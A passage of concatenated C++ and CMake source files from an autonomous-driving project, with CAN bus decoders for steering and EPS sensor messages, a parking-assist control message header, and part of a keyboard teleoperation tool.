'EPS_TORSIONBARTORQUEDIR_NEGATIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_torsionbartorquedirType Eps2status0x112112::eps_torsionbartorquedir(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Eps2_status_0x112_112::Eps_torsionbartorquedirType ret = static_cast<Eps2_status_0x112_112::Eps_torsionbartorquedirType>(x); return ret; } // config detail: {'name': 'eps_torsionbartorquevalid', 'enum': {0: 'EPS_TORSIONBARTORQUEVALID_INVALID', 1: 'EPS_TORSIONBARTORQUEVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_torsionbartorquevalidType Eps2status0x112112::eps_torsionbartorquevalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(6, 1); Eps2_status_0x112_112::Eps_torsionbartorquevalidType ret = static_cast<Eps2_status_0x112_112::Eps_torsionbartorquevalidType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/sas_sensor_0x175_175.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Sassensor0x175175::Sassensor0x175175() {} const int32_t Sassensor0x175175::ID = 0x175; void Sassensor0x175175::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_raw_steerwheelangle(sas_raw_steerwheelangle(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_steerwheelrotspd(sas_steerwheelrotspd(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_trimmingsts(sas_trimmingsts(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_steerwheelrotspdstatus(sas_steerwheelrotspdstatus(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_rolling_counter_0x175(rolling_counter_0x175(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_sasstscal(sas_sasstscal(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_raw_sasstssnsr(sas_raw_sasstssnsr(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_sasstssnsr(sas_sasstssnsr(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_checksum_0x175(checksum_0x175(bytes, length)); chassis->mutable_cx75()->mutable_sas_sensor_0x175_175()->set_sas_steerwheelangle(sas_steerwheelangle(bytes, length)); } // config detail: {'name': 'sas_raw_steerwheelangle', 'enum': {65535: 'SAS_RAW_STEERWHEELANGLE_INVALID'}, 'precision': 0.0238, 'len': 16, 'is_signed_var': False, 'offset': -780.0, 'physical_range': '[-780|779.7092]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg'} double Sassensor0x175175::sas_raw_steerwheelangle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = static_cast<double>(x); ret=ret*0.0238-780.0; return ret; } // config detail: {'name': 'sas_steerwheelrotspd', 'enum': {16383: 'SAS_STEERWHEELROTSPD_INVALID'}, 'precision': 0.125, 'len': 14, 'is_signed_var': False, 'offset': -1024.0, 'physical_range': '[-1024|1023.75]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg s'} double Sassensor0x175175::sas_steerwheelrotspd(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 5); int32_t t = t1.get_byte(2, 6); x <<= 6; x |= t; double ret = static_cast<double>(x); ret=ret*0.125-1024; return ret; } // config detail: {'name': 'sas_trimmingsts', 'enum': {0: 'SAS_TRIMMINGSTS_NOT_TRIMMED', 1: 'SAS_TRIMMINGSTS_TRIMMED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 40, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sas_sensor_0x175_175::Sas_trimmingstsType Sassensor0x175175::sas_trimmingsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 1); Sas_sensor_0x175_175::Sas_trimmingstsType ret = static_cast<Sas_sensor_0x175_175::Sas_trimmingstsType>(x); return ret; } // config detail: {'name': 'sas_steerwheelrotspdstatus', 'enum': {0: 'SAS_STEERWHEELROTSPDSTATUS_VALID', 1: 'SAS_STEERWHEELROTSPDSTATUS_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sas_sensor_0x175_175::Sas_steerwheelrotspdstatusType Sassensor0x175175::sas_steerwheelrotspdstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(1, 1); Sas_sensor_0x175_175::Sas_steerwheelrotspdstatusType ret = static_cast<Sas_sensor_0x175_175::Sas_steerwheelrotspdstatusType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x175', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Sassensor0x175175::rolling_counter_0x175(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'sas_sasstscal', 'enum': {0: 'SAS_SASSTSCAL_SENSOR_NOT_CALIBRATED', 1: 'SAS_SASSTSCAL_SENSOR_CALIBRATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sas_sensor_0x175_175::Sas_sasstscalType Sassensor0x175175::sas_sasstscal(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Sas_sensor_0x175_175::Sas_sasstscalType ret = static_cast<Sas_sensor_0x175_175::Sas_sasstscalType>(x); return ret; } // config detail: {'name': 'sas_raw_sasstssnsr', 'enum': {0: 'SAS_RAW_SASSTSSNSR_SENSOR_VALUE_INVALID', 1: 'SAS_RAW_SASSTSSNSR_SENSOR_VALUE_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sas_sensor_0x175_175::Sas_raw_sasstssnsrType Sassensor0x175175::sas_raw_sasstssnsr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Sas_sensor_0x175_175::Sas_raw_sasstssnsrType ret = static_cast<Sas_sensor_0x175_175::Sas_raw_sasstssnsrType>(x); return ret; } // config detail: {'name': 'sas_sasstssnsr', 'enum': {0: 'SAS_SASSTSSNSR_SENSOR_VALUE_INVALID', 1: 'SAS_SASSTSSNSR_SENSOR_VALUE_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sas_sensor_0x175_175::Sas_sasstssnsrType Sassensor0x175175::sas_sasstssnsr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Sas_sensor_0x175_175::Sas_sasstssnsrType ret = static_cast<Sas_sensor_0x175_175::Sas_sasstssnsrType>(x); return ret; } // config detail: {'name': 'checksum_0x175', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Sassensor0x175175::checksum_0x175(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'sas_steerwheelangle', 'enum': {65535: 'SAS_STEERWHEELANGLE_INVALID'}, 'precision': 0.0238, 'len': 16, 'is_signed_var': False, 'offset': -780.0, 'physical_range': '[-780|779.7092]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg'} double Sassensor0x175175::sas_steerwheelangle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; double ret = static_cast<double>(x); ret=ret*0.0238-780.0; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>#include "modules/canbus/canbus.h" #include "modules/canbus/common/canbus_gflags.h" #include "modules/common/jmc_auto_app.h" JMC_AUTO_MAIN(jmc_auto::canbus::Canbus); <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(vehicle_state_proto vehicle_state.pb.cc vehicle_state.pb.h) target_link_libraries(vehicle_state_proto common_proto header_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(autotuning_speed_feature_builder autotuning_speed_feature_builder.cc autotuning_speed_feature_builder.h) target_link_libraries(autotuning_speed_feature_builder log error_code_proto /modules/planning/tuning:autotuning_feature_builder) add_library(autotuning_speed_mlp_model autotuning_speed_mlp_model.cc autotuning_speed_mlp_model.h) target_link_libraries(autotuning_speed_mlp_model autotuning_speed_feature_builder /modules/planning/tuning:autotuning_base_model) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_PAM_0X270_270_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_PAM_0X270_270_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Pam0x270270 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Pam0x270270(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'PAM_ESP_Target_Gear_Request', 'enum': {0: 'PAM_ESP_TARGET_GEAR_REQUEST_NO_REQUEST', 1: 'PAM_ESP_TARGET_GEAR_REQUEST_PARK', 2: 'PAM_ESP_TARGET_GEAR_REQUEST_REVERSE', 3: 'PAM_ESP_TARGET_GEAR_REQUEST_NEUTRAL', 4: 'PAM_ESP_TARGET_GEAR_REQUEST_DRIVE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_esp_target_gear_request(Pam_0x270_270::Pam_esp_target_gear_requestType pam_esp_target_gear_request); // config detail: {'name': 'PAM_BrakeFunctionMode', 'enum': {0: 'PAM_BRAKEFUNCTIONMODE_NO_ACTION', 1: 'PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_brakefunctionmode(Pam_0x270_270::Pam_brakefunctionmodeType pam_brakefunctionmode); // config detail: {'name': 'StopStartInhibit_APA', 'enum': {0: 'STOPSTARTINHIBIT_APA_FALSE', 1: 'STOPSTARTINHIBIT_APA_TRUE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_stopstartinhibit_apa(Pam_0x270_270::Stopstartinhibit_apaType stopstartinhibit_apa); // config detail: {'name': 'PAM_APAF', 'enum': {0: 'PAM_APAF_NORMAL', 1: 'PAM_APAF_APA_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_apaf(Pam_0x270_270::Pam_apafType pam_apaf); // config detail: {'name': 'PAM_CmdEPSSts', 'enum': {0: 'PAM_CMDEPSSTS_NO_REQUEST', 1: 'PAM_CMDEPSSTS_CONTROL_EPS_REQUEST', 2: 'PAM_CMDEPSSTS_EPS_CONTROL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_cmdepssts(Pam_0x270_270::Pam_cmdepsstsType pam_cmdepssts); // config detail: {'name': 'PAM_Sts', 'enum': {0: 'PAM_STS_OFF', 1: 'PAM_STS_STANDBY_STANDBY_ENABLE', 2: 'PAM_STS_SEARCHING_ENABLE', 3: 'PAM_STS_GUIDANCE_ACTIVE_ACTIVE', 4: 'PAM_STS_COMPLETED', 5: 'PAM_STS_FAILURE_DISABLE', 6: 'PAM_STS_TERMINATED', 7: 'PAM_STS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_sts(Pam_0x270_270::Pam_stsType pam_sts); // config detail: {'name': 'PAM_BrakeModeSts', 'enum': {0: 'PAM_BRAKEMODESTS_INIT', 1: 'PAM_BRAKEMODESTS_STANDBY', 2: 'PAM_BRAKEMODESTS_ACTIVE', 3: 'PAM_BRAKEMODESTS_MANEUVERFINISHED', 4: 'PAM_BRAKEMODESTS_SUSPEND', 5: 'PAM_BRAKEMODESTS_ABORT'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_brakemodests(Pam_0x270_270::Pam_brakemodestsType pam_brakemodests); // config detail: {'name': 'PAM_FailureBrakeMode', 'enum': {0: 'PAM_FAILUREBRAKEMODE_IDLE_NO_BRAKING', 1: 'PAM_FAILUREBRAKEMODE_COMFORTABLE_RESERVED', 2: 'PAM_FAILUREBRAKEMODE_EMERGENCY', 3: 'PAM_FAILUREBRAKEMODE_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_pam_failurebrakemode(Pam_0x270_270::Pam_failurebrakemodeType pam_failurebrakemode); // config detail: {'name': 'PAM_ESP_Speed_Target', 'enum': {255: 'PAM_ESP_SPEED_TARGET_INVALID'}, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|25.4]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} Pam0x270270* set_pam_esp_speed_target(float pam_esp_speed_target); // config detail: {'name': 'PAM_ESP_Stop_Distance', 'enum': {4095: 'PAM_ESP_STOP_DISTANCE_INVALID'}, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4094]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'cm'} Pam0x270270* set_pam_esp_stop_distance(int pam_esp_stop_distance); // config detail: {'name': 'Rolling_counter_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_rolling_counter_0x270(int rolling_counter_0x270); // config detail: {'name': 'Checksum_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Pam0x270270* set_checksum_0x270(int checksum_0x270); // config detail: {'name': 'PAM_TrgtEPSStrgWhlAng', 'enum': {65535: 'PAM_TRGTEPSSTRGWHLANG_INVALID'}, 'precision': 0.0238, 'len': 16, 'is_signed_var': False, 'offset': -780.0, 'physical_range': '[-780|779.7092]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg'} Pam0x270270* set_pam_trgtepsstrgwhlang(double pam_trgtepsstrgwhlang); private: // config detail: {'name': 'PAM_ESP_Target_Gear_Request', 'enum': {0: 'PAM_ESP_TARGET_GEAR_REQUEST_NO_REQUEST', 1: 'PAM_ESP_TARGET_GEAR_REQUEST_PARK', 2: 'PAM_ESP_TARGET_GEAR_REQUEST_REVERSE', 3: 'PAM_ESP_TARGET_GEAR_REQUEST_NEUTRAL', 4: 'PAM_ESP_TARGET_GEAR_REQUEST_DRIVE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_esp_target_gear_request(uint8_t* data, Pam_0x270_270::Pam_esp_target_gear_requestType pam_esp_target_gear_request); // config detail: {'name': 'PAM_BrakeFunctionMode', 'enum': {0: 'PAM_BRAKEFUNCTIONMODE_NO_ACTION', 1: 'PAM_BRAKEFUNCTIONMODE_AUTOMATICPARK'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_brakefunctionmode(uint8_t* data, Pam_0x270_270::Pam_brakefunctionmodeType pam_brakefunctionmode); // config detail: {'name': 'StopStartInhibit_APA', 'enum': {0: 'STOPSTARTINHIBIT_APA_FALSE', 1: 'STOPSTARTINHIBIT_APA_TRUE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_stopstartinhibit_apa(uint8_t* data, Pam_0x270_270::Stopstartinhibit_apaType stopstartinhibit_apa); // config detail: {'name': 'PAM_APAF', 'enum': {0: 'PAM_APAF_NORMAL', 1: 'PAM_APAF_APA_FAILURE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_apaf(uint8_t* data, Pam_0x270_270::Pam_apafType pam_apaf); // config detail: {'name': 'PAM_CmdEPSSts', 'enum': {0: 'PAM_CMDEPSSTS_NO_REQUEST', 1: 'PAM_CMDEPSSTS_CONTROL_EPS_REQUEST', 2: 'PAM_CMDEPSSTS_EPS_CONTROL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_cmdepssts(uint8_t* data, Pam_0x270_270::Pam_cmdepsstsType pam_cmdepssts); // config detail: {'name': 'PAM_Sts', 'enum': {0: 'PAM_STS_OFF', 1: 'PAM_STS_STANDBY_STANDBY_ENABLE', 2: 'PAM_STS_SEARCHING_ENABLE', 3: 'PAM_STS_GUIDANCE_ACTIVE_ACTIVE', 4: 'PAM_STS_COMPLETED', 5: 'PAM_STS_FAILURE_DISABLE', 6: 'PAM_STS_TERMINATED', 7: 'PAM_STS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_sts(uint8_t* data, Pam_0x270_270::Pam_stsType pam_sts); // config detail: {'name': 'PAM_BrakeModeSts', 'enum': {0: 'PAM_BRAKEMODESTS_INIT', 1: 'PAM_BRAKEMODESTS_STANDBY', 2: 'PAM_BRAKEMODESTS_ACTIVE', 3: 'PAM_BRAKEMODESTS_MANEUVERFINISHED', 4: 'PAM_BRAKEMODESTS_SUSPEND', 5: 'PAM_BRAKEMODESTS_ABORT'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_brakemodests(uint8_t* data, Pam_0x270_270::Pam_brakemodestsType pam_brakemodests); // config detail: {'name': 'PAM_FailureBrakeMode', 'enum': {0: 'PAM_FAILUREBRAKEMODE_IDLE_NO_BRAKING', 1: 'PAM_FAILUREBRAKEMODE_COMFORTABLE_RESERVED', 2: 'PAM_FAILUREBRAKEMODE_EMERGENCY', 3: 'PAM_FAILUREBRAKEMODE_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_pam_failurebrakemode(uint8_t* data, Pam_0x270_270::Pam_failurebrakemodeType pam_failurebrakemode); // config detail: {'name': 'PAM_ESP_Speed_Target', 'enum': {255: 'PAM_ESP_SPEED_TARGET_INVALID'}, 'precision': 0.1, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|25.4]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} void set_p_pam_esp_speed_target(uint8_t* data, float pam_esp_speed_target); // config detail: {'name': 'PAM_ESP_Stop_Distance', 'enum': {4095: 'PAM_ESP_STOP_DISTANCE_INVALID'}, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4094]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'cm'} void set_p_pam_esp_stop_distance(uint8_t* data, int pam_esp_stop_distance); // config detail: {'name': 'Rolling_counter_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_rolling_counter_0x270(uint8_t* data, int rolling_counter_0x270); // config detail: {'name': 'Checksum_0x270', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_checksum_0x270(uint8_t* data, int checksum_0x270); // config detail: {'name': 'PAM_TrgtEPSStrgWhlAng', 'enum': {65535: 'PAM_TRGTEPSSTRGWHLANG_INVALID'}, 'precision': 0.0238, 'len': 16, 'is_signed_var': False, 'offset': -780.0, 'physical_range': '[-780|779.7092]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'deg'} void set_p_pam_trgtepsstrgwhlang(uint8_t* data, double pam_trgtepsstrgwhlang); private: Pam_0x270_270::Pam_esp_target_gear_requestType pam_esp_target_gear_request_; Pam_0x270_270::Pam_brakefunctionmodeType pam_brakefunctionmode_; Pam_0x270_270::Stopstartinhibit_apaType stopstartinhibit_apa_; Pam_0x270_270::Pam_apafType pam_apaf_; Pam_0x270_270::Pam_cmdepsstsType pam_cmdepssts_; Pam_0x270_270::Pam_stsType pam_sts_; Pam_0x270_270::Pam_brakemodestsType pam_brakemodests_; Pam_0x270_270::Pam_failurebrakemodeType pam_failurebrakemode_; float pam_esp_speed_target_; int pam_esp_stop_distance_; int rolling_counter_0x270_; int checksum_0x270_; double pam_trgtepsstrgwhlang_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_PAM_0X270_270_H_ <file_sep>#include "modules/canbus/tools/teleop.h" #include "modules/canbus/tools/teleop_gflags.h" #include "modules/common/adapters/adapter_manager.h" #include "modules/common/adapters/proto/adapter_config.pb.h" #include "modules/common/time/jmcauto_time.h" #include "modules/common/util/util.h" namespace jmc_auto { namespace teleop { using jmc_auto::canbus::Chassis; using jmc_auto::common::ErrorCode; using jmc_auto::common::Status; using jmc_auto::common::VehicleSignal; using jmc_auto::common::adapter::AdapterManager; using jmc_auto::common::time::Clock; using jmc_auto::control::ControlCommand; using jmc_auto::control::PadMessage; void Teleop::KeyboardLoopThreadFunc() { char c = 0; int32_t level = 0; double brake = 0; double throttle = 0; double steering = 0; struct termios cooked_; struct termios raw_; double acceleration = 0; double steering_torque = 0; bool ACC_StandstillReq = false; int32_t kfd_ = 0; bool parking_brake = false; Chassis::GearPosition gear = Chassis::GEAR_INVALID; PadMessage pad_msg; // get the console in raw mode tcgetattr(kfd_, &cooked_); std::memcpy(&raw_, &cooked_, sizeof(struct termios)); raw_.c_lflag &= ~(ICANON | ECHO); // Setting a new line, then end of file raw_.c_cc[VEOL] = 1; raw_.c_cc[VEOF] = 2; tcsetattr(kfd_, TCSANOW, &raw_); puts("Teleop:\nReading from keyboard now."); puts("---------------------------"); puts("Use arrow keys to drive the car."); while (is_running_) { // get the next event from the keyboard if (read(kfd_, &c, 1) < 0) { perror("read():"); exit(-1); } AINFO << "control command : " << control_command_.ShortDebugString().c_str(); switch (c) { case KEYCODE_UP1: // accelerate acceleration = control_command_.acceleration(); acceleration = GetCommand(acceleration, 0.5, 5); control_command_.set_acceleration(acceleration); AINFO << "acceleration = " << acceleration; break; case KEYCODE_UP2: brake = control_command_.brake(); throttle = control_command_.throttle(); if (brake > 1e-6) { brake = GetCommand(brake, -FLAGS_brake_inc_delta, 100); control_command_.set_brake(brake); } else { throttle = GetCommand(throttle, FLAGS_throttle_inc_delta, 100); control_command_.set_throttle(throttle); } AINFO << "Throttle = " << control_command_.throttle() << ", Brake = " << control_command_.brake(); break; case KEYCODE_DN1: // decelerate acceleration = control_command_.acceleration(); acceleration = GetCommand(acceleration, -0.5, 5); control_command_.set_acceleration(acceleration); AINFO << "acceleration = " << acceleration; break; case KEYCODE_DN2: brake = control_command_.brake(); throttle = control_command_.throttle(); if (throttle > 1e-6) { throttle = GetCommand(throttle, -FLAGS_throttle_inc_delta, 100); control_command_.set_throttle(throttle); } else { brake = GetCommand(brake, FLAGS_brake_inc_delta, 100); control_command_.set_brake(brake); } AINFO << "Throttle = " << control_command_.throttle() << ", Brake = " << control_command_.brake(); break; case KEYCODE_LF1: // left steering_torque = control_command_.steering_torque(); steering_torque = GetCommand(steering_torque, 1, 3); control_command_.set_steering_torque(steering_torque); AINFO << "steering_torque = " << steering_torque; break; case KEYCODE_LF2: steering = control_command_.steering_target(); // steering = GetCommand(steering, FLAGS_steer_inc_delta,100); steering = GetCommand(steering, 1, 3); control_command_.set_steering_target(steering); AINFO << "Steering Target = " << steering; break; case KEYCODE_RT1: // right steering_torque = control_command_.steering_torque(); steering_torque = GetCommand(steering_torque, -1, 3); control_command_.set_steering_torque(steering_torque); AINFO << "steering_torque = " << steering_torque; break; case KEYCODE_RT2: steering = control_command_.steering_target(); steering = GetCommand(steering, -1, 3); control_command_.set_steering_target(steering); AINFO << "Steering Target = " << steering; break; case KEYCODE_PKBK: // hand brake // parking_brake = !control_command_.parking_brake(); // control_command_.set_parking_brake(parking_brake); // AINFO << "Parking Brake Toggled: " << parking_brake; ACC_StandstillReq = ~ACC_StandstillReq; AINFO << "ACC_StandstillReq: " << ACC_StandstillReq; break; case KEYCODE_ESTOP: control_command_.set_acceleration(-3); AINFO << "acceleration = " << acceleration; break; case KEYCODE_SETT1: // set throttle case KEYCODE_SETT2: // read keyboard again if (read(kfd_, &c, 1) < 0) { exit(-1); } level = c - KEYCODE_ZERO; control_command_.set_throttle(level * 10.0); control_command_.set_brake(0.0); AINFO << "Throttle = " << control_command_.throttle() << ", Brake = " << control_command_.brake(); break; case KEYCODE_SETG1: case KEYCODE_SETG2: // read keyboard again if (read(kfd_, &c, 1) < 0) { exit(-1); } level = c - KEYCODE_ZERO; gear = GetGear(level); control_command_.set_gear_location(gear); AINFO << "Gear set to : " << level; break; case KEYCODE_SETB1: case KEYCODE_SETB2: // read keyboard again if (read(kfd_, &c, 1) < 0) { exit(-1); } level = c - KEYCODE_ZERO; control_command_.set_throttle(0.0); control_command_.set_brake(level * 10.0); AINFO << "Throttle = " << 